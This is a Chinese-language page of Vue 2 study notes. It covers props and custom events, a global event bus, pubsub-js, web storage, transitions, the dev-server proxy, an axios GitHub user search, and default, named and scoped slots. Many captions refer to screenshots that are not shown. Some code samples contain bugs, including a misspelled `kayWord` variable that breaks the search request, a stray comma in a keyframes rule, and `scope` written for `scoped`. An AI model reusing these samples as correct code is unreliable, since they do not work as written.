通过参数的方式得到它输入的数据
Mylist.vue
App.vue
Myheader.vue
上面传递成功了
MyHeader.vue
组件变化的地方
·
App.vue
变化的地方
App.vue
变化的地方
MyList.vue
变数的地方
MyItem.vue
组件变化的地方
运行结果
没有点击之前的状态
点击之后的状态
MyItem.vue
组件的变化
MyList.vue组件
的变化
App.vue
组件的变化
本节会用到reduce这个方法reduce的回顾
reduce这个方法作用在数组上,数组有几条数据就会执行几次
pre第一次的值为后面给的第二个参数0,第二个参数为第一次的返回值
有于没有写retrun语句,所以后面的两个值都是未定义
当给一个返回值的时候
current为每一个数组的每一个项
进入到正题
App.vue
改变的地方
MyFooter.vue
改变的地方
运行结果
实现了上面全部勾选上的时候下面的全选按钮就会被勾选上
勾选下面的按钮,上面的按钮会全部被勾选
底部的全部清除功能
组件化编码流程:
(1).拆分静态组件:组件要按照功能点拆分,命名不要与html元素冲突。
(2).实现动态组件:考虑好数据的存放位置,数据是一个组件在用,还是一些组件在用:
1).一个组件在用:放在组件自身即可。
2). 一些组件在用:放在他们共同的父组件上(状态提升)。
(3).实现交互:从绑定事件开始。
props适用于:
(1).父组件 ==> 子组件 通信
(2).子组件 ==> 父组件 通信(要求父先给子一个函数)
使用v-model时要切记:v-model绑定的值不能是props传过来的值,因为props是不可以修改的!
props传过来的若是对象类型的值,修改对象中的属性时Vue不会报错,但不推荐这样做。
存数据
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>localStorage</title> </head> <body> <h2>localStorage</h2> <button onclick="saveData()">点我保存一个数据</button> </body> <script type="text/javascript"> let p = {name:'张三',age:13} function saveData(){ localStorage.setItem('msg','hello!!!') localStorage.setItem('msg2',666) localStorage.setItem('person',JSON.stringify(p))//将一个对象装换成一个字符串并且可以正常的显示 } </script> </html>
读数据
移除和清空数据
将浏览器关闭掉也不会丢失
清空缓存就没有了
session
<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>sessionStorage</title> </head> <body> <h2>sessionStorage</h2> <button onclick="saveData()">点我保存一个数据</button> <button onclick="readData()">点我读取一个数据</button> <button onclick="deleteData()">点我删除一个数据</button> <button onclick="deleteAllData()">点我清空一个数据</button> <script type="text/javascript" > let p = {name:'张三',age:18} function saveData(){ sessionStorage.setItem('msg','hello!!!') sessionStorage.setItem('msg2',666) sessionStorage.setItem('person',JSON.stringify(p)) } function readData(){ console.log(sessionStorage.getItem('msg')) console.log(sessionStorage.getItem('msg2')) const result = sessionStorage.getItem('person') console.log(JSON.parse(result)) // console.log(sessionStorage.getItem('msg3')) } function deleteData(){ sessionStorage.removeItem('msg2') } function deleteAllData(){ sessionStorage.clear() } </script> </body> </html>
总结
webStorage
存储内容大小一般支持5MB左右(不同浏览器可能还不一样)
浏览器端通过 Window.sessionStorage 和 Window.localStorage 属性来实现本地存储机制。
相关API:
xxxxxStorage.setItem('key', 'value');
该方法接受一个键和值作为参数,会把键值对添加到存储中,如果键名存在,则更新其对应的值。
xxxxxStorage.getItem('person');
该方法接受一个键名作为参数,返回键名对应的值。
xxxxxStorage.removeItem('key');
该方法接受一个键名作为参数,并把该键名从存储中删除。
xxxxxStorage.clear()
该方法会清空存储中的所有数据。
备注:
xxxxxStorage.getItem(xxx)
如果xxx对应的value获取不到,那么getItem的返回值是null。JSON.parse(null)
的结果依然是null。
刷新浏览器不会丢失数据
这个是为了区别内置事件而产生的
本节用到三个文件
School.vue
文件
<template> <div class="school"> <h2>学校名称:{{name}}</h2> <h2>学校地址:{{address}}</h2> </div> </template> <script> export default { name:'School', data() { return { name:'尚硅谷', address:'北京', } }, } </script> <style scoped> .school{ background-color: skyblue; padding: 5px; } </style>
Student.vue
文件
<template> <div class="student"> <h2>学生姓名:{{name}}</h2> <h2>学生性别:{{sex}}</h2> </div> </template> <script> export default { name:'Student', data() { return { name:'张三', sex:'男' } }, } </script> <style lang="less" scoped> .student{ background-color: pink; padding: 5px; margin-top: 30px; } </style>
app.vue
<template> <div class="app"> <h1>{{msg}}</h1> <School/> <Student/> </div> </template> <script> import Student from './components/Student' import School from './components/School' export default { name:'App', components:{School,Student}, data(){ return{ msg:"你好啊" } } } </script> <style scoped> .app{ background-color: gray; padding: 5px; } </style>
父给子传递函数的方式获取子的数据(这是之前用到过的)为了和下面的形成对比
下面通过app.vue和Student.vue
文件将下面的组件的自定义事件
App.vue
文件
Student.vue
文件
第二种方式,比第一种更加的灵活
如果想要传多个值的话
student.vue
app.vue
解绑一个自定义事件
销毁多个
组件绑定原生的事件
会放在最外侧的那一个大的div
,所以这就是只要一个根元素的原因之一
总结
一种组件间通信的方式,适用于:子组件 ===> 父组件
使用场景:A是父组件,B是子组件,B想给A传数据,那么就要在A中给B绑定自定义事件(事件的回调在A中)。
绑定自定义事件:
第一种方式,在父组件中:<Demo @atguigu="test"/>
或 <Demo v-on:atguigu="test"/>
第二种方式,在父组件中:
<Demo ref="demo"/>
......
mounted(){
this.$refs.xxx.$on('atguigu',this.test)
}
若想让自定义事件只能触发一次,可以使用once
修饰符,或$once
方法。
将App.vue
组件子组件header.vue
通过自定义事件的方式拿到子组件的数据
Footer.vue
的改变
可以实现任意组件之间的通信
兄弟组件之间的通信(传数据)
总结:
全局事件总线(GlobalEventBus)
一种组件间通信的方式,适用于任意组件间通信。
安装全局事件总线:
new Vue({
......
beforeCreate() {
Vue.prototype.$bus = this //安装全局事件总线,$bus就是当前应用的vm
},
......
})
使用事件总线:
接收数据:A组件想接收数据,则在A组件中给$bus绑定自定义事件,事件的回调留在A组件自身。
methods(){
demo(data){......}
}
......
mounted() {
this.$bus.$on('xxxx',this.demo)
}
提供数据:this.$bus.$emit('xxxx',数据)
本节改的是App.vue
和MyItemvue
通信的情况
下面两张都是App.vue
MyList.vue
文件
本节需要用到的库
pubsub.js
他是subscript和publish的简写(在任何一个框架里面都可以实现消息的发布和订阅
)
先安装这个库
本节可以通过消息订阅的方式实现两个组件的通信
student.vue
用完了就要解绑
总结
== 消息订阅与发布(pubsub)==
一种组件间通信的方式,适用于任意组件间通信。
使用步骤:
安装pubsub:npm i pubsub-js
引入: import pubsub from 'pubsub-js'
接收数据:A组件想接收数据,则在A组件中订阅消息,订阅的回调留在A组件自身。
methods(){
demo(data){......}
}
......
mounted() {
this.pid = pubsub.subscribe('xxx',this.demo) //订阅消息
}
提供数据:pubsub.publish('xxx',数据)
最好在beforeDestroy钩子中,用PubSub.unsubscribe(pid)
去取消订阅。
<template> <div> <button @click="isShow =!isShow">显示/隐藏</button> <transition> <h1 v-show="isShow">你好啊!</h1> </transition> </div> </template> <script> export default { data(){ return { isShow:true } }, } </script> <style> h1{ background-color: orange; } .v-enter-active{ animation: atguigu 1s; } .v-leave-active{ animation: atguigu 1s reverse; } @keyframes atguigu{ from{ transform: translateX(-100%); }, to{ transform: translateX(0px); } } </style>
可以让他自己做动画
<template> <div> <button @click="isShow = !isShow">显示/隐藏</button> <transition name="hello" appear> <h1 v-show="isShow">你好啊!</h1> </transition> <!-- 有多个的时候可以给transition取名字 --> </div> </template> <script> export default { name:'Test2', data() { return { isShow: true, }; }, }; </script> <style> h1 { background-color: orange; transition: 0.5s linear; } /* 进入的起点 */ .hello-enter{ transform: translateX(-100%); } /* 进入的终点 */ .hello-enter-to { transform: translateX(0); } /* 离开的起点 */ .hello-leave{ transform: translateX(0); } /* 离开的终点 */ .hello-leave-to{ transform: translateX(-100%); } </style>
剩下的需要的时候再说(以后用到的时候再回来)
开启一个服务器
服务器收到了请求
不过这种方式的一次只能向一个端口请求数据
这种方式有一种小小的不完美
总结
在vue.config.js中添加如下配置:
devServer:{
proxy:"http://localhost:5000"
}
说明:
编写vue.config.js配置具体代理规则:
module.exports = { devServer: { proxy: { '/api1': {// 匹配所有以 '/api1'开头的请求路径 target: 'http://localhost:5000',// 代理目标的基础路径 changeOrigin: true, pathRewrite: {'^/api1': ''} }, '/api2': {// 匹配所有以 '/api2'开头的请求路径 target: 'http://localhost:5001',// 代理目标的基础路径 changeOrigin: true, pathRewrite: {'^/api2': ''} } } } } /* changeOrigin设置为true时,服务器收到的请求头中的host为:localhost:5000 changeOrigin设置为false时,服务器收到的请求头中的host为:localhost:8080 changeOrigin默认值为true */
说明:
要实现的效果如下
目录结构
bootstrap.css
文件的地址为:地址
它的引入地方
上面的第三方的样式库是控制Search.vue
这个组件的
List.vue
<template> <div class="row"> <div class="card"> <a href="https://github.com/xxxxxx" target="_blank"> <img src="https://cn.vuejs.org/images/logo.svg" style="width: 100px" /> </a> <p class="card-text">xxxxxx</p> </div> <div class="card"> <a href="https://github.com/xxxxxx" target="_blank"> <img src="https://cn.vuejs.org/images/logo.svg" style="width: 100px" /> </a> <p class="card-text">xxxxxx</p> </div> <div class="card"> <a href="https://github.com/xxxxxx" target="_blank"> <img src="https://cn.vuejs.org/images/logo.svg" style="width: 100px" /> </a> <p class="card-text">xxxxxx</p> </div> <div class="card"> <a href="https://github.com/xxxxxx" target="_blank"> <img src="https://cn.vuejs.org/images/logo.svg" style="width: 100px" /> </a> <p class="card-text">xxxxxx</p> </div> <div class="card"> <a href="https://github.com/xxxxxx" target="_blank"> <img src="https://cn.vuejs.org/images/logo.svg" style="width: 100px" /> </a> <p class="card-text">xxxxxx</p> </div> </div> </template> <script> export default { name: "List", }; </script> <style scoped> .album { min-height: 50rem; /* Can be removed; just added for demo purposes */ padding-top: 3rem; padding-bottom: 3rem; background-color: #f7f7f7; } .card { float: left; width: 33.333%; padding: 0.75rem; margin-bottom: 2rem; border: 1px solid #efefef; text-align: center; } .card > img { margin-bottom: 0.75rem; border-radius: 100px; } .card-text { font-size: 85%; } </style>
Search.vue
<template> <section class="jumbotron"> <h3 class="jumbotron-heading">Search Github Users</h3> <div> <input type="text" placeholder="enter the name you search" /> <button>Search</button> </div> </section> </template> <script> export default { name: "Search", }; </script>
App.vue
<template> <div class="container"> <Search /> <List /> </div> </template> <script> import Search from "./components/Search.vue"; import List from "./components/List.vue"; export default { name: "App", components: { Search, List }, }; </script> <style> </style>
静态效果(这个时候还没有绑定数据)
https://api.github.com/search/users?q=xxx
这个是github官方免费提供的接口
本节在上节的基础上只变了下面的两个文件
List.vue
文件
<template> <div class="row"> <div class="card" v-for="user in users" :key="user.login"> <a :href="user.html_url" target="_blank"> <img :src="user.avatar_url" style="width:100px"/> </a> <p class="card-text">{{user.login}}</p> </div> </div> </template> <script> export default { name: "List", data() { return { users:[] } }, mounted(){ this.$bus.$on('data1',(users)=>{ this.users = users; }) }, beforeDestroy(){ this.$bus.$off('data1'); } }; </script> <style scoped> .album { min-height: 50rem; /* Can be removed; just added for demo purposes */ padding-top: 3rem; padding-bottom: 3rem; background-color: #f7f7f7; } .card { float: left; width: 33.333%; padding: 0.75rem; margin-bottom: 2rem; border: 1px solid #efefef; text-align: center; } .card > img { margin-bottom: 0.75rem; border-radius: 100px; } .card-text { font-size: 85%; } </style>
sreach.vue
文件
<template> <section class="jumbotron"> <h3 class="jumbotron-heading">Search Github Users</h3> <div> <input type="text" placeholder="enter the name you search" v-model="keyWord"/> <button @click="searchUsers">Search</button> </div> </section> </template> <script> // 导入axios,之前已经下过了 import axios from 'axios' export default { name: "Search", data() { return { keyWord:'' } }, methods:{ // 通过点击按钮向github发送请求 searchUsers(){ // https://api.github.com/search/users?q=xxx github免费提供的接口 axios.get(`https://api.github.com/search/users?q=${this.kayWord}`).then( response=>{ // console.log("请求成功了",response.data); console.log(response.data.items); this.$bus.$emit("data1",response.data.items); //发送数据 }, error=>{ console.log("失败",error.message); } ) } } }; </script>
这里面不存在跨域问题
github的后端已经在
运行结果
代码下多写几遍之后再写过来
它在1.0的时候用的比较多
常用的方式
vue-resource
是对于xhr的封装
安装
用到了上面的两个文件夹
App.vue的代码
Appv.ue
<template> <div class="container"> <Category> <img src="../public/1.jpg" alt="" /> </Category> <Category> <ul> <li v-for="(g, index) in games" :key="index">{{g}}</li> </ul> </Category> <Category> <video controls src="http://clips.vorwaerts-gmbh.de/big_buck_bunny.mp4"></video> </Category> </div> </template> <script> import Category from "./components/Category"; export default { name: "App", components: { Category }, data() { return { foods: ["火锅", "烧烤", "小龙虾", "牛排"], games: ["红色警戒", "穿越火线", "劲舞团", "超级玛丽"], films: [ "《教父》", "《拆弹专家》", "《你好,李焕英》", "《尚硅谷》", ], }; }, }; </script> <style scope> .container { display: flex; justify-content: space-around; } img { width: 100%; height: 120px; } video{ width: 100%; } </style>
category.vue
<template> <div class="category"> <h3>vvvv</h3> <!-- 定义一个插槽(挖个坑,等着组件的使用者进行填充) --> <slot>我是一些默认值,当使用者没有传递具体结构时,我会出现</slot> </div> </template> <script> export default { name:'Catsgory' } </script> <style> .category{ width : 200px; height: 200px; background-color: skyblue; } h3{ text-align: center; background-color: orange; } </style>
运行结果
注意
本节要实现的效果如下
App.vue
<template> <div class="container"> <Category title="美食"> <img slot="center" src="../public/1.jpg" alt="" /> <a class="foot" slot="footer" href="http://www.baidu.com" >更多美食</a > </Category> <Category title="游戏"> <ul slot="center"> <li v-for="(g, index) in games" :key="index">{{ g }}</li> </ul> <div slot="footer" class="foot"> <a href="http://www.baidu.com">单机游戏</a> <a href="http://www.baidu.com">网络游戏</a> </div> </Category> <Category title="电影"> <video controls src="http://clips.vorwaerts-gmbh.de/big_buck_bunny.mp4" slot="center" ></video> <template slot="footer"> <div class="foot"> <a href="http://www.baidu.com">经典</a> <a href="http://www.baidu.com">热门</a> <a href="http://www.baidu.com">推荐</a> </div> <h4 slot="footer">欢迎前来观看</h4> </template> </Category> </div> </template> <script> import Category from "./components/Category"; export default { name: "App", components: { Category }, data() { return { foods: ["火锅", "烧烤", "小龙虾", "牛排"], games: ["红色警戒", "穿越火线", "劲舞团", "超级玛丽"], films: [ "《教父》", "《拆弹专家》", "《你好,李焕英》", "《尚硅谷》", ], }; }, }; </script> <style scope> .container,.foot{ display: flex; justify-content: space-around; } img { width: 100%; height: 120px; } video { width: 100%; } h4 { text-align: center; } </style>
category.vue
<template> <div class="category"> <h3>{{title}}分类</h3> <!-- 定义一个插槽(挖个坑,等着组件的使用者进行填充) --> <slot name="center">我是一些默认值,当使用者没有传递具体结构时,我会出现</slot> <slot name="footer">我是一些默认值,当使用者没有传递具体结构时,我会出现</slot> </div> </template> <script> export default { name:'Category', props:['title'] } </script> <style> .category{ width : 200px; height: 250px; background-color: skyblue; } h3{ text-align: center; background-color: orange; } </style>
运行结果
代码说明
分析
本节用到的两个文件
category.vue
<template> <div class="category"> <h3>{{ title }}分类</h3> <!-- 定义一个插槽(挖个坑,等着组件的使用者进行填充) --> <slot :games="games" msg="hello">我是一些默认值,当使用者没有传递具体结构时,我会出现</slot> </div> </template> <script> export default { name: "Category", props: ["title"], data() { return { games:['红色警戒','穿越火线','劲舞团','超级玛丽'] } }, }; </script> <style> .category { width: 200px; height: 250px; background-color: skyblue; } h3 { text-align: center; background-color: orange; } </style>
App.vue
<template> <div class="container"> <Category title="游戏"> <template slot-scope="weijiang"> <ul> <li v-for="(g, index) in weijiang.games" :key="index">{{ g }}</li> </ul> </template> </Category> <Category title="游戏"> <template slot-scope="weijiang"> <ol> <li style="color:red" v-for="(g, index) in weijiang.games" :key="index">{{ g }}</li> </ol> <h4>{{weijiang.msg}}</h4> </template> </Category> <Category title="游戏"> <template slot-scope="{games}"> <h4 v-for="(g, index) in games" :key="index">{{ g }}</h4> </template> </Category> </div> </template> <script> import Category from "./components/Category"; export default { name: "App", components: { Category }, }; </script> <style scope> .container, .foot { display: flex; justify-content: space-around; } img { width: 100%; height: 120px; } video { width: 100%; } h4 { text-align: center; } </style>
运行结果
代码解释
作用:让父组件可以向子组件指定位置插入html结构,也是一种组件间通信的方式,适用于 父组件 ===> 子组件 。
分类:默认插槽、具名插槽、作用域插槽
使用方式:
默认插槽:
父组件中:
<Category>
<div>html结构1</div>
</Category>
子组件中:
<template>
<div>
<!-- 定义插槽 -->
<slot>插槽默认内容...</slot>
</div>
</template>
具名插槽:
父组件中: <Category> <template slot="center"> <div>html结构1</div> </template> <template v-slot:footer> <div>html结构2</div> </template> </Category> 子组件中: <template> <div> <!-- 定义插槽 --> <slot name="center">插槽默认内容...</slot> <slot name="footer">插槽默认内容...</slot> </div> </template>
作用域插槽:
理解:数据在组件的自身,但根据数据生成的结构需要组件的使用者来决定。(games数据在Category组件中,但使用数据所遍历出来的结构由App组件决定)
具体编码:
父组件中: <Category> <template scope="scopeData"> <!-- 生成的是ul列表 --> <ul> <li v-for="g in scopeData.games" :key="g">{{g}}</li> </ul> </template> </Category> <Category> <template slot-scope="scopeData"> <!-- 生成的是h4标题 --> <h4 v-for="g in scopeData.games" :key="g">{{g}}</h4> </template> </Category> 子组件中: <template> <div> <slot :games="games"></slot> </div> </template> <script> export default { name:'Category', props:['title'], //数据在子组件自身 data() { return { games:['红色警戒','穿越火线','劲舞团','超级玛丽'] } }, } </script>
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。